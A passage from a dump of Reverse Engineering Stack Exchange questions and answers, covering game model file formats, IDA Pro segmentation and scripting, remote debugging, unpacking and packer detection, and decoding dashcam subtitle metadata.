00 00 00 00 00 00 00\nFF FF 00 00 03 00 5E 3F 3F AD AD BD 39 00 00 00 02 00 00 00 03 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7C 5E 7C AD AD BD 3A 00 00 00 39 00 00 00 3B 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5E 5D 7C AD BD BD 39 00 00 00 38 00 00 00 3B 00 00 00 00 00 00 00\nFF FF 00 00 00 00 AA AA AB 16 1D 1E 3C 00 00 00 3D 00 00 00 3E 00 00 00 00 00 00 00\nFF FF 00 00 00 00 BC BA B5 06 01 08 3F 00 00 00 40 00 00 00 41 00 00 00 00 00 00 00\nFF FF 00 00 00 00 BA B5 B5 01 00 08 40 00 00 00 42 00 00 00 41 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5D 5D 43 0C 1B 0C 43 00 00 00 44 00 00 00 45 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5D 48 43 1B 1B 0C 44 00 00 00 46 00 00 00 45 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7B 59 7B BF BF C9 3B 00 00 00 05 00 00 00 3A 00 00 00 00 00 00 00\nFF FF 00 00 03 00 59 5A 7B BF C9 C9 05 00 00 00 47 00 00 00 3A 00 00 00 00 00 00 00\nFF FF 00 00 03 00 00 00 1C DC F7 CB 48 00 00 00 40 00 00 00 07 00 00 00 00 00 00 00\nFF FF 00 00 03 00 00 1C 1C F7 F3 CB 40 00 00 00 3F 00 00 00 07 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5F 3F 1C F2 EB F2 49 00 00 00 4A 00 00 00 3F 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7D 7D 60 DC C3 CE 43 00 00 00 4B 00 00 00 4C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7D 5F 60 C3 BE CE 4B 00 00 00 4D 00 00 00 4C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 04 0C 0B B7 BE AF 4E 00 00 00 2D 00 00 00 0C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 0C 13 0B BE BC AF 2D 00 00 00 2E 00 00 00 0C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7D 62 73 00 00 13 2F 00 00 00 33 00 00 00 4F 00 00 00 00 00 00 00\nFF FF 00 00 03 00 62 5F 73 00 13 13 33 00 00 00 50 00 00 00 4F 00 00 00 00 00 00 00\nFF FF 00 00 03 00 73 5E 73 1F 1F 2B 0F 00 00 00 51 00 00 00 0E 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5E 5F 73 1F 2B 2B 51 00 00 00 35 00 00 00 0E 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5E 5D 3F AD BD AD 52 00 00 00 53 00 00 00 08 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5D 3F 3F BD BD AD 53 00 00 00 09 00 00 00 08 00 00 00 00 00 00 00\nFF FF 00 00 00 00 A7 AA AA 1D 1D 16 11 00 00 00 3D 00 00 00 3C 00 00 00 00 00 00 00\nFF FF 00 00 00 00 B5 B5 B4 08 00 00 41 00 00 00 42 00 00 00 54 00 00 00 00 00 00 00\nFF FF 00 00 03 00 43 48 5D 0C 1B 0C 54 00 00 00 42 00 00 00 48 00 00 00 00 00 00 00\nFF FF 00 00 03 00 48 5D 5D 1B 1B 0C 42 00 00 00 40 00 00 00 48 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7C 5D 7C BD BD AD 4B 00 00 00 53 00 00 00 55 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5D 5E 7C BD AD AD 53 00 00 00 52 00 00 00 55 00 00 00 00 00 00 00\nFF FF 00 00 03 00 19 18 2D 7F 82 7F 56 00 00 00 26 00 00 00 57 00 00 00 00 00 00 00\nFF FF 00 00 03 00 18 2D 2D 82 82 7F 26 00 00 00 24 00 00 00 57 00 00 00 00 00 00 00\nFF FF 00 00 03 00 10 12 19 7F 82 7F 30 00 00 00 2A 00 00 00 56 00 00 00 00 00 00 00\nFF FF 00 00 03 00 12 18 19 82 82 7F 2A 00 00 00 26 00 00 00 56 00 00 00 00 00 00 00\nFF FF 00 00 00 00 87 87 87 16 1C 1C 58 00 00 00 32 00 00 00 31 00 00 00 00 00 00 00\nFF FF 00 00 03 00 06 07 1E 32 0B 3B 59 00 00 00 5A 00 00 00 5B 00 00 00 00 00 00 00\nFF FF 00 00 03 00 07 1E 1E 0B 04 3B 5A 00 00 00 1C 00 00 00 5B 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 1C 2D AC BB AC 5C 00 00 00 28 00 00 00 5D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 2D 2D BB BC AC 28 00 00 00 22 00 00 00 5D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 09 12 1C AC BB AC 0C 00 00 00 2E 00 00 00 5C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 12 1C 1C BB BB AC 2E 00 00 00 28 00 00 00 5C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 1C 09 9E 90 9E 5E 00 00 00 25 00 00 00 0D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 09 09 90 90 9E 25 00 00 00 29 00 00 00 0D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 2D 1C 9E 90 9E 5F 00 00 00 23 00 00 00 5E 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 1C 1C 90 90 9E 23 00 00 00 25 00 00 00 5E 00 00 00 00 00 00 00\nFF FF 00 00 03 00 3D 2D 2D 90 90 9E 59 00 00 00 23 00 00 00 5F 00 00 00 00 00 00 00\n
    \n\n

    I can post the full file structure if this is required. Thanks in advance!

    \n\n

    Edit:

    \n\n
    Vertex3D\n{\n    float x, y, z\n}\nVector3D\n{\n    float x, y, z\n}\n
    \n\n
    \n\n
    Vertex\n{\n    Vertex3D    vertex\n    Vector3D    normal  // Sum = 1.0\n    ulong       unknown\n    ubyte[12]   padding = 0\n}\nTriangle\n{\n    ulong       beg = 0xffff0000\n    ushort      texture     // 0 = car bottom, 3 = body\n    ubyte[6]    unknown     // UV mapping???\n    ulong[3]    vertices    // Indices\n    ulong       end = 0x00000000\n}\n
    \n\n
    \n\n
    Model3D\n{\n    char[8]     identifier = \"PCMODL01\"\n    ulong       unknown = 0x00000000\n    ulong       offset1 = 44    // Vertices start offset\n    ulong       offset2         // Polygons start offset\n\n    ubyte[16]   stuff\n\n    ulong                   n_polygons\n    ulong                   n_vertices\n    Vertex[n_vertices]      vertices\n    Triangle[n_polygons]    polygons\n}\n
    \n\n
    \n\n
    Main\n{\n    // Header\n    ulong   n_blocks = 7\n\n    ulong   offset1 = 60\n    ulong   length1     // Model\n\n    ulong   offset2\n    ulong   length2     // Dash lo res (320x80) RGB565\n\n    ulong   offset3\n    ulong   length3     // Dash hi res (640x160) RGB565\n\n    ulong   offset4\n    ulong   length4     // Steering wheel (256x256) RGB565\n\n    ulong   offset5\n    ulong   length5     // Car textures (128x256) RGB565\n\n    ulong   offset6\n    ulong   length6     // Tuning\n\n    ulong   offset7\n    ulong   length7     // Menu picture (400x400) Indexed color\n\n    // offset1 onwards\n    Model3D         model\n\n    // offset2 onwards\n    blob[25600]     dash_lo\n\n    // offset3 onwards\n    blob[102400]    dash_hi\n\n    // offset4 onwards\n    blob[65536]     steer_whl\n\n    // offset5 onwards\n    blob[32768]     textures\n\n    // offset6 onwards\n    blob[300]       tuning\n\n    // offset7 onwards\n    ubyte[12]       unknown1\n    ubyte           menu_position\n    char[3]         basename        // CAM, JAG, VET, etc.\n    ulong           padding = 0x00000000\n    ulong           unknown2\n    blob[160000][5] menu_screens    // 5 images, one per language\n}\n
    \n", "Title": "How to read these UV coordinates?", "Tags": "|binary-analysis|", "Answer": "

    Problem is solved!

    \n\n

    I found that the unknown values are actually coordinates in pixels on the texture map (positive integers). The car textures are 128 x 256 in size, so by dividing each U or V coordinate by the maximum value in that direction, we have the right float conversion:

    \n\n
    vertex1.u = unknown[0] / 127.f;\nvertex2.u = unknown[1] / 127.f;\nvertex3.u = unknown[2] / 127.f;\n\nvertex1.v = -unknown[3] / 255.f;\nvertex2.v = -unknown[4] / 255.f;\nvertex3.v = -unknown[5] / 255.f;\n
    \n\n

    Besides, there were bugs in my converter that prevented this from working...

    \n" }, { "Id": "11457", "CreationDate": "2015-12-04T17:06:30.343", "Body": "

    I have a simple C++ program compiled with Visual Studio 2005. I know that this program has a class base with a member variable x.

    \n\n

    How can I identify the variable x when looking at the x86? Here is a function of this binary.

    \n", "Title": "How can i get offset of class member manualy(without source of )", "Tags": "|assembly|c++|", "Answer": "

    For Visual Studio, ecx usually points to the current this object. As you can see, it's placed in esi at the start of your program.

    \n
    \n

    .text:1090B641 mov esi, ecx

    \n
    \n

    esi is not modified elsewhere, and is always used to access variables with offsets. That should indicate to you that it's the address of a struct, and each offset points to a given variable.

    \n
    \n

    .text:1090B651 mov dword ptr [esi], offset off_10959BE4

    \n

    .text:1090B660 mov [esi+1Ch], eax

    \n

    .text:1090B663 mov [esi+10h], eax

    \n

    .text:1090B666 mov [esi+3Ch], ebx

    \n

    .text:1090B669 mov [esi+38h], ebx

    \n

    .text:1090B66C mov [esi+40h], ebx

    \n

    .text:1090B66F mov byte ptr [esi+44h], 0ACh

    \n
    \n

    You'll have to find the purpose of each of those variables by looking at their size and how they are used in your program. In order to help you with that, you can define a new struct in Ida by going in the Structs tab (Shift+F9), and defining a new struct with variables corresponding to those offsets. You can then map them with T to help you following them.

    \n

    See for instance this blog post.

    \n" }, { "Id": "11469", "CreationDate": "2015-12-07T13:31:30.677", "Body": "

    I am new in this area.

    \n\n

    Scenerio:\nI am given two files and told one is ASCII and another is binary format of that ASCII file. I opened ASCII file and saw like-

    \n\n
    0\n76\n1.040000\n1\n1\n1.000000\n514039\n5058933\n514808\n5059861\n2 ********* TIMESTEP\n0.750000\n3\n1\n328882\n1\n514712.000000\n5059091.500000\n514714.062500\n5059088.500000\n3.826391\n2.000000\n13.882331\n0.000000\n2 ********* TIMESTEP\n1.500000\n..........................................\n
    \n\n

    And open corresponding binary file (hex)

    \n\n
    00 4C B8 1E 85 3F 01 01 00 00 80 3F F7 D7 07 00 75 31 4D 00 F8 DA 07 00 15 35 4D 00 02 00 00 40 3F 03 01 00 00 00 B2 04 05 00 01 00 53 FB 48 27 64 9A 4A 42 53 FB 48 21 64 9A 4A 98 E3 74 40 00 00 00 40 07 1E 5E 41 00 00 00 00 02 00 00 C0 3F 03 01 00 00 00 B2 04 05 00 01 4C 52 FB 48 39 64 9A 4A 8E 52 FB 48 33 64 9A 4A 98 E3 74 40 00 00 00 40 07 1E 5E 41 00 00 00 00 03 02 00 00 00 D2 05 05 00 01 2D 2D FB 48 06 63 9A 4A E2 2C FB 48 FF 62 9A 4A 73 6F 82 40 00 00 00 40 7D 1A 6D 41 00 00 00 00 03 04 00 00 00 BE 04 05 00 01 57 00 FB 48 49 67 9A 4A DE FF FA 48 4D 67 9A 4A 21 D2 86 40 00 00 00 40 0F A4 8C 41 00 00 00 00 02 00 00 10 40 03 01 00 00 00 52 1D 05 00 01 9A 51 FB 48 4A 64 9A 4A DC 51 FB 48 44 64 9A 4A 98 E3 74 40 00 00 00 40 0B 84 5B 41 AB FE 5D BE 03 02 00 00 00 D2 05 05 00 01 FB 2D FB 48 18 63 9A 4A AF 2D FB 48 11 63 9A 4A 73 6F 82 40 00 00 00 40 7D 1A 6D 41 00 00 00 00 03 04 00 00 00 BE 04 05 00 01 D1 01 FB 48 3D 67 9A 4A 58 01 FB 48 41 67 9A 4A 21 D2 86 40 00 00 00 40 0F A4 8C 41 00 00 00 00 03 05 00 00 00 B2 04 05 00 01 06 53 FB 48 27 64 9A 4A 4B 53 FB 48 20 64 9A 4A D5 06 7E 40 00 00 00 40 07 1E 5E 41 00 00 00 00 02 00 00 40 40\n.....................................................\n
    \n\n

    Problem-

    \n\n

    Is there any way to find how this binary file is crated from that ascii?

    \n\n

    I know all of ASCII file what reading means what from a pdf file that tells all about ASCII file.

    \n\n

    N.B. I truncated and posted from the larges file as i wish - i mean the trucated portion of ascii and that of binary posted here may not intersect/exact replica. I just copied portion and posted here.

    \n\n

    ASCII file link

    \n\n

    Binary file link

    \n\n

    Thanks

    \n", "Title": "How to get transformation formula comparing two files", "Tags": "|encodings|", "Answer": "

    hxd alpha version ( search the author's forum ) has a data inspector panel which you can manipulate to understand the format of unknown binary sequences by trial a snap shot of float value 1.04 below \n\"enter

    \n" }, { "Id": "11490", "CreationDate": "2015-12-09T15:49:07.913", "Body": "

    I recently heard about the esp trick: some packers push all registers on the stack, and when unpacking is done, they are restored. Placing a hardware breakpoint on esp we can stop there and get the original entry point.

    \n\n

    Why is it necessary to use a hardware breakpoint? This site argues that because software breakpoints modify the code. But why is that a problem here?

    \n\n

    Every example I met uses Ollydbg. How can I set such a breakpoint in gdb?

    \n", "Title": "Unpacking and the ESP trick", "Tags": "|gdb|unpacking|", "Answer": "
    \n

    Placing a hardware breakpoint on esp we can stop there and get the\n original entry point.

    \n \n

    Why is it necessary to use a hardware breakpoint?

    \n
    \n\n

    The value of ESP is an address on the stack. The data at that memory address may get read or written, but won't get executed\u00b9 since it's not code. Software breakpoints are only useful on code that gets executed, and since the data at that memory address won't get executed, a software breakpoint won't be helpful.

    \n\n

    \u00b9 There are exceptions to this, but it's out of context for your question.

    \n\n
    \n

    How can I set such a breakpoint in gdb?

    \n
    \n\n

    In gdb, you can set a hardware breakpoint on the memory address pointed to by ESP by setting a watchpoint, which is documented here.

    \n" }, { "Id": "11491", "CreationDate": "2015-12-09T16:12:58.623", "Body": "

    I am currently working on reversing a firmware file for the older TMS320C5 16-bit microprocessor. I'm using IDA pro to do so and I need to manually create segments for each object contained in the file. I'm asking for a step-by-step procedure to do so. Below is more information on why/what.

    \n\n

    The TMS320C5, like many other processors, access an internal cache, called the \"Fast Memory\" which is a single 64K page. It loads this memory from the contents of an outside, bigger and slower memory.

    \n\n

    The firmware file contains a memory image, which is written directly to the slow memory of the device. It operates using a multi-tasking RTOS. Each tasks/process is stored at different locations in the binary file and do not appear to be in any particular order. From my understanding, each task within the file is preceded by 4 words, one of them indicating the base address where the current task will be loaded in fast memory. In some cases, 2 or 3 tasks can be loaded at the same base address in fast memory.

    \n\n

    It seems that each branch/call instruction within a task uses a direct address within the current page (see figure 3). So they are not relative to the PC (Program Counter) or the contents of some other register.

    \n\n

    Of course, I'd now like that branching and calling instructions be aligned with the proper functions and sections within their segment. While I do not have a strong grasp on segmentation in IDA, I read some other thread such as How to deal with code that change its address among different execution, IDA segmentation problem and Segments in IDA. How to overcome NONAME problem, but none offer a complete solution to what I need, as I do not believe CS/DS and other Intel segments apply here. I could not find any really useful in the IDA PRO book either.

    \n\n

    So far, it seems I have accomplish 50% of what I need by doing the following:

    \n\n
      \n
    1. Creating a new selector using the Selector subview: View > Open Subviews > Selectors.
      2. \n
    2. Right-click in the subview, select Add Selector.
      3. \n
    3. Created some examples as per figure 1 below.
      4. \n
    4. Using the command-line and SetSegmentAttr function, I've change the selector of one of the segment: SetSegmentAttr(ScreenEA(), SEGATTR_SEL, 1)
      5. \n
    \n\n

    As an example, there is a task within the firmware which starts at linear address 0xCAEFD. This tasks is loaded at 0x2C00 in fast memory. As such, I'd like to create a segment containing this task and for which the base address is 0x2C00. While I changed the segment of the block using the procedure above, the offset starts at 0x9EF02 (see figure 2). I expected it to starts at 0x0.

    \n\n

    Figure 1: \n\"Figure

    \n\n

    Figure 2:\n\"Figure

    \n\n

    I suspect I somewhat need to change the offset somehow. I'm aware of the Move Segment option, but it seems it \"physically\" change the segment to the address, which I do not want since some tasks share the same base address in fast memory (or are close to each other and will overwrite another task). What are the steps I need to complete in order to isolate each task into its own segment so that branches and calls align? For example, in figure 3, I would like IDA to link the BCND 2C1Dh, geq to the corresponding 0x2C1D location within the segment, rather than the corresponding linear address.

    \n\n

    Figure 3:\n\"Example

    \n\n

    Thanks for any help

    \n", "Title": "Manual Segmentation of Objects in non-Intel Firmware", "Tags": "|ida|disassembly|firmware|segmentation|", "Answer": "

    Not an answer, really, but too long for a comment; also, i know the x86 architecture well, but have no idea about the TMS320C5, so please take this with a grain of salt.

    \n\n

    I'm afraid that what you're trying to do doesn't match well with how IDA segmentation works, which basically stems from the 80x86 way of doing things. Which means that segment registers contain the upper 16 bit of the 20 bit address, offsets contain the lower 16 bit; and to calculate the physical address, you'd do segment<<4 | offset.

    \n\n

    That means that an address like, say, 1234:0020 is equivalent to 1236:0000 - both map to the physical address of 12360. Now if your binary gets loaded at segment 1234 - physical address 12340 - there is no \"intrinsic\" way of telling what the offset of 12360 is; it could be 0020 within the 1234 segment, or 0000 in the 1236 segment. IDA segmentation will just tell the disassembler that a new segment starts at the 12360 physical address, so if the ds register is set to that segment, then ds:0 accesses the variable thats defined at that12360` address.

    \n\n

    This is different to your processor insofar that code will never be swapped in or out, code regions never overlap in physical memory, and offsets within segments always start at 0000. Even if, in pathological cases, the metainfo .EXE file states to load a segment to offset 0200, the loader will generate a new segment, fill the first 0x200 bytes with 00, and load the contents from the .EXE file behind this zero'd out block.

    \n\n

    What IDA can't do - as far as i know - is something like \"make 0000-CAEFD one segment; then start another segment at C82FD in which the address CAEFD has an offset of 2C00, because that would make the meaning of the file part between C82FD and CAEFD ambigous, you wouldn't know which segment it belongs to.

    \n\n

    In your case, when you said the base address should be 2C00, you told IDA that address 2C00 in the file should equal address 0000 in the segment. This is why it was showing offset 9EF02; if 2C00 (file position) corresponds to 0000 (segment start), then CAEFD-2C00=9EF02 (file position) corresponds to 9EF02 (position within segment). Try using 9EF02 as segment start; the byte at CAEFD is 2C00 bytes into that segment so it has an offset of 2C00.

    \n\n

    If that doesn't work for you, i'd do the following:

    \n\n\n\n

    Doing this, you'll get a file that has one big block that contains the original firmware, and multiple 64-KB-blocks that contain just one task and a bunch of zeroes each.

    \n\n

    Now, when you load that file, define one segment for the first big block, and one segment for each of the appended 64 KB chunks. That way, you can have one segment per task; segments are easy to define since each of them starts at a multiple of 10000 and all but the first are exactly 10000 bytes in size, and you have a 1:1 relation between file byte and memory byte which should make IDA happy.

    \n" }, { "Id": "11495", "CreationDate": "2015-12-09T20:11:24.230", "Body": "

    As a personal project I've been trying to reverse engineer the art assets for the old Dynamix game Earthsiege 2 (this game has long been abandonware and was recently released for free by Hi-Rez, the current copyright holder). It was child's play to decode the images/textures, but I've been having trouble with the binary 3D model format.

    \n\n

    As some background, the 3D models are saved as DTS files. DTS is a proprietary binary format (little-Endian), short for \"Dynamix Three-Space\". I wasn't able to find any resources on reversing ES2-era DTS files.

    \n\n

    For this post I'll focus on the Apocalypse.

    \n\n

    \"The

    \n\n

    The Apocalypse model is stored in Apoca.dts . The file starts out like this (in hex, with annotations):

    \n\n
      | File size |     ?     |ChunkMarker|Chunk Length\n02|7C 7F 01 00|4B 1F 3D 7F|03 00 1E 00|FC 5F 00 \n00|FF FF 00 00 0E 08 BF FF CC FF 23 04 01 00 15 \n00 14 00 70 46 00 00 FF FF 00 00 B7 06 BF FF CC \nFF 23 04 1B 00 14 00 14 00 4A 01 00 00 01 00 0C \n00 AB 01 FB FF 22 00 7B 05 18 00 0F 00 10 00 06  <-Faces\n00 02 00 03 00 04 00 05 00 02 00 05 00 07 00 08 \n00 0A 00 0B 00 04 00 03 00 03 00 02 00 08 00 0A \n00 0B 00 07 00 05 00 04 00 0A 00 08 00 07 00 0B \n00 00 00 1D 00 FF 07 00 00 00 00 00 00 24 FF 72  <-Some vertices here\n01 82 05 DC 00 72 01 82 05 DC 00 C0 FE 8C 05 24  <-\nFF C0 FE 8C 05 00 F8 00 00 00 00 24 FF E8 FE 00  <-\n05 24 FF 04 01 60 04 00 08 00 00 00 00 DC 00 04  <-\n01 60 04 DC 00 E8 FE 00 05 00 00 7A 07 2A FD 00  <-\n00 4F F8 CE FD 00 00 BB FD 55 F8 02 00 00 04 02 \n00 00 04 00 00 00 14 00 00 00 14 00 00 00 00 FF \nFF FF FF FF FF FF FF FF FF FF FF 1B 00 00 00 FF \nFF FF FF FF FF FF FF FF FF FF FF 19 00 00 00 FF \nFF FF FF FF FF FF FF FF FF FF FF 03 00 14 00 0A \n00 00 00 00 00 02 00 04 00 00 00 00 00 03 00 14\n
    \n\n

    For formatted/color-coded analysis, see http://postimg.org/image/8e56re90n/

    \n\n

    To see the first 3 chunks of the file in their entirety, see http://pastebin.com/RTFkdiBd

    \n\n

    Current knowledge

    \n\n

    Each DTS file is broken into chunks. The 10th - 13th bytes are a start-of-chunk marker; I think this is 03 00 1E 00 in each file. The next four bytes are the size of the chunk, always followed by FF 00. A new chunk will begin immediately after the previous ends. I don't know how the chunks divvy up data right now, but it does appear that multiple chunks contain vertices. This may be related to the fact that the model is noticeably divided into discrete parts, rather than a single mesh.

    \n\n

    Each vertex is a set of 6 bytes, consisting of 3 signed shorts for the X, Y, and Z coordinates of that vertex. The first vertex in this file is 24 FF 62 01 82 05, which has coordinates -220, 354, 1401 when converted to decimal. The sample I've provided contains the following vertices:

    \n\n
    24 FF 72 01 82 05 \nDC 00 72 01 82 05 \nDC 00 C0 FE 8C 05 \n24 FF C0 FE 8C 05\n24 FF E8 FE 00 05\n24 FF 04 01 60 04\nDC 00 04 01 60 04 \nDC 00 E8 FE 00 05\n
    \n\n

    These vertices define the crotch. Interestingly, the crotch is actually located above the head in 3D space as defined in the file, so it must get translated somewhere. I have tested and verified that the above bytes contain the crotch by editing them in RAM while the game is running, which distorts the model immediately when I click back into the game window.

    \n\n

    Notice that between some of these vertices are two sets of six bytes that do not appear to be vertices (they don't correspond to any point on the model and have no effect when altered in RAM). I don't know what the deal with these is:

    \n\n
    00 F8 00 00 00 00\n00 08 00 00 00 00\n
    \n\n

    The rest of the model is defined in pieces throughout the file. Vertices are clustered into small groups, which I think define one shape at a time. I can find vertices for everything but the weapons and legs. The legs are animated, so they might be defined differently, or located in a different file. The weapons are defined in a separate file.

    \n\n

    Preceding the vertices are some shorts with small values, e.g. 06 00 02 00. These have something to do with the faces; my guess is that they refer to vertices by index to define a face. I have verified that these affect the faces by editing them in RAM while the game is running, but haven't fully decoded them yet.

    \n\n

    There is always 6 bytes of 0s (00 00 00 00 00 00) between the faces and the vertices. There is always the marker 04 00 00 00 14 00 00 00 14 00 00 00 shortly after the vertices end. Using this knowledge, I'm able to parse vertices from a file by looking between those two markers; however, this is imprecise and I end up with a bunch of junk vertices forming a partial spherical shell around the model.

    \n\n

    Here is a rendering of a point cloud of vertices I am able to read out of the Apocalypse DTS file; I have filtered out some of the junk vertices here, but there are still some present around the edges and in the middle. Take note that the hips and crotch are located above the torso in the file.\n\"enter

    \n\n

    What's next?

    \n\n

    I'm not hoping to decode the entire DTS file from start to finish - it's much too long and complex - but I'd like to at least be able to read the vertices, and hopefully faces, out of the files.

    \n\n

    The biggest struggle I've been having at the moment is trying to figure out how to know exactly where a set of faces/vertices start and end. My main question would be how to precisely determine where a group of faces/vertices start and end, as they are not in the exact same place in every file. Any other information you can spot that I've missed would be awesome, but that's my main objective.

    \n", "Title": "Reverse engineering Earthsiege 2 3D model format", "Tags": "|binary-analysis|file-format|hex|", "Answer": "

    To determine where the faces/vertices are laid out purely via inspection can be pretty time consuming and hit-and-miss. Given the executable is available that processes these files, I think it's probably a better starting point - it definitively knows how to process the format.

    \n\n

    I used IDA Pro to analyse the code in the executable that's involved in loading the data, using the some magic numbers [including the 0x001e0003 you noted as the ChunkMarker] to locate the relevant parts and expanding from there.

    \n\n

    You'll find that there are some duplications of surfaces in the mesh - I think the base mesh is just solid-shaded, but uses textures sparingly like decals over the base mesh.

    \n\n

    Here's an example imported into Blender.\n\"enter

    \n\n

    You can access the code I wrote to generate that on github.

    \n" }, { "Id": "11516", "CreationDate": "2015-12-12T20:11:44.363", "Body": "

    I have Ubuntu 14.04 x64 and I am running Ida pro V6.6 in virtual box in windows 8 ... currently I want to debug some Linux elf's using Ida either via IDA linux remote server or gdbserver but I don't know how to set up such thing (remember Linux is the host and windows is the guest and IDA runs in windows)

    \n", "Title": "how to setup IDA pro linux GDB server", "Tags": "|ida|debugging|gdb|", "Answer": "
      \n
    1. Ensure that networking is enabled on the guest system and that it can communicate via TCP/IP with the host system.
      2. \n
    2. Copy <IDA installation directory>\\dbgsrv\\linux_serverx64 to your host system and run it.
      3. \n
    3. Copy the target ELF binary to the guest system and load it into IDA (disassemble it).
      4. \n
    4. In IDA (on the guest system), go to Debugger \u2192 Select debugger... in the menu bar and choose Remote Linux debugger.
      5. \n
    5. In IDA (on the guest system), go to Debugger \u2192 Process options... in the menu bar and specify the hostname or IP of your host system, the debugging port used by linux_serverx64, and the debugging password (if you specified one when running linux_serverx64).
      6. \n
    6. In IDA (on the guest system), select Debugger \u2192 Start process in the menu bar (or Attach to process... if the target is already running on the host system).
      7. \n
    \n\n

    Further references:

    \n\n\n" }, { "Id": "11522", "CreationDate": "2015-12-13T16:56:14.523", "Body": "

    I used PEiD & Stud_PE to get the packer/encrypter signature but unfortunately they didn't detect it.

    \n\n

    \"enter

    \n\n

    could someone help with this issue?

    \n\n

    EDIT:\nAs @beatcracker said in comments, using ExeinfoPe says:\n\"enter

    \n", "Title": "What's the packer/encrypter used with this file", "Tags": "|disassembly|unpacking|packers|", "Answer": "
    \n

    I used PEiD & Stud_PE to get the packer/encrypter signature but\nunfortunately they didn't detect it.

    \n
    \n

    Exeinfo PE has more recent signatures (beware of gifs, though).

    \n
    \n

    EDIT: As @beatcracker said in comments, using ExeinfoPe says:

    \n

    Detected Themida v2.x Inside, Themida Code on Section.

    \n

    Is there a native exe unpacker for Themida ?

    \n
    \n

    Themida is very hard to unpack (even the new driverless versions), there is a ton of protections options that can be enabled (see manual), so I doubt that there is a generic unpacker in the wild.

    \n

    Try this tutotial: How Unpack Themida 2.x.x. It uses OllyDbg script which hides most of the complexity required to unpack\\fix Themida.

    \n

    References:

    \n\n" }, { "Id": "11524", "CreationDate": "2015-12-14T13:52:38.197", "Body": "

    I'm testing malware that built from single EXE file and it doesn't load any other DLLs.

    \n\n

    I can see that EXE is register as COM object (I don't know how EXE can be COM object...). But when I run it and looking in procmon, I can see that it writes values to the registry.

    \n\n

    I tried to open the EXE file with IDA Pro 6.8 / OllyDbg, and I can't see any RegSetValue call or even reference (there is no load of Advapi32.dll).

    \n\n

    I suspect that there is some hidden code that I can't see in these disassembles.

    \n\n

    If there is such hidden code how can I see it? And btw, how EXE can register as COM object at all?

    \n", "Title": "Hidden code in dissasembly", "Tags": "|disassembly|malware|", "Answer": "

    What you see is probably a \"packed/obfuscated\" malware. \nThere are many ways to \"hide\" RegSetValue from static analysis but my best guess is that what you see is Runtime API Address Resolution:\n\"There are two main types of API obfuscation. In the first type, all API function addresses are resolved before the main routine of the program begins. In the second, API function addresses are resolved individually at call-time. \nYou can read more about it from this paper by Symantec.\nIf you want to \"see the code\" you would have to unpack it first.

    \n\n

    For your second question there is a good discussion about it over here.

    \n" }, { "Id": "11533", "CreationDate": "2015-12-15T08:34:39.463", "Body": "

    In the same way that ScreenEA() returns the current cursor address, is there a way to set the address? Something that would resemble SetScreenEA()?

    \n", "Title": "Is there a way to set the cursor address in IDA Pro?", "Tags": "|ida|idapython|", "Answer": "

    Updating answer for IDA Pro version 7.5, using Python 3:

    \n\n" }, { "Id": "11535", "CreationDate": "2015-12-15T12:13:21.353", "Body": "

    I'm iterating through a list of heads returned by the Heads() function, and for each head I want to check if the address contains a pointer (specifically a pointer to code).

    \n\n

    I've tried using the functions here but none of them seem to be relevant.

    \n", "Title": "How can I check if an address contains a pointer?", "Tags": "|ida|idapython|", "Answer": "

    Using Sark you can:

    \n\n
    import sark\n\nfor line in sark.lines():\n    for xref in line.xrefs_from:\n        if xref.type.is_flow:  # Make sure the xref is not to the next line.\n            continue\n        if sark.Line(xref.to).is_code:  # Check if the xref's target is code.\n            print 'xref to code!'\n
    \n\n

    See xrefs and lines documentation.

    \n" }, { "Id": "11548", "CreationDate": "2015-12-16T12:41:30.787", "Body": "

    I have an exe which I'm confident uses MFC(I have seen the code and it heavily uses MFC) but when I see the Import Table why don't I see MFCxx.dll entry...

    \n", "Title": "Why is there no MFCxx.dll in the import table?", "Tags": "|disassembly|malware|", "Answer": "

    One of three possibilities:

    \n\n\n" }, { "Id": "11582", "CreationDate": "2015-12-17T20:33:18.273", "Body": "

    I'm trying to write a video player for clips from Roadhawk dash cams that shows a speedometer and map. I've got the basics covered, it plays the video and sound and extracts the raw metadata from the video.

    \n\n

    This raw metadata includes speed, GPS coordinates and G-force.\nMy first target is a Roadhawk DC2. Roadhawk provides software for doing this already but it is closed source. http://www.roadhawk.co.uk/roadhawk-dc2-software\nI may be able to reverse engineer the software, or even the camera firmware, but I wanted to know if there was a better way.

    \n\n

    The metadata is stored in a subtitle stream in the video file. I've played a one minute file through my software and dumped all the raw data out and have looked at the same file in the existing software to get the decoded values for the first frame. (It's awkward to determine more than the first frame because of the seek resolution in the existing software. This is one reason for writing my own.)

    \n\n

    It all appears to be printable ASCII characters (presumably a constraint of the qt-text subtitle encoding system).

    \n\n

    When looking at all of the data, I can see that in the last third of the data frames, some of the text remains mostly constant. In the last third of the video, the car is waiting at a set of lights, this could be the gforce data. This is as far as I got with my investigation.

    \n\n

    The frame for which I know the decoding looks like this:

    \n\n
    .+;;;D=;-;6;;;;D;JP;4;;;=D;P?;O;;;=D=L;-HO71G>F=;;;JJF:FNJNBDL=R?F3F;;=;PDLR;;F0F;;=DRFJJ?DRJF??;J=LF;;;D;F:*59~\n
    \n\n

    And decodes like this:

    \n\n
    Gforce X = +0.108\n       Y = +0.036\nLat      = 53.99020\nLong     = -1.10792\nSpeed    = 2.0mph\n
    \n\n

    Full list of captured frames is here: http://bitofahack.com/stuff/capture

    \n\n

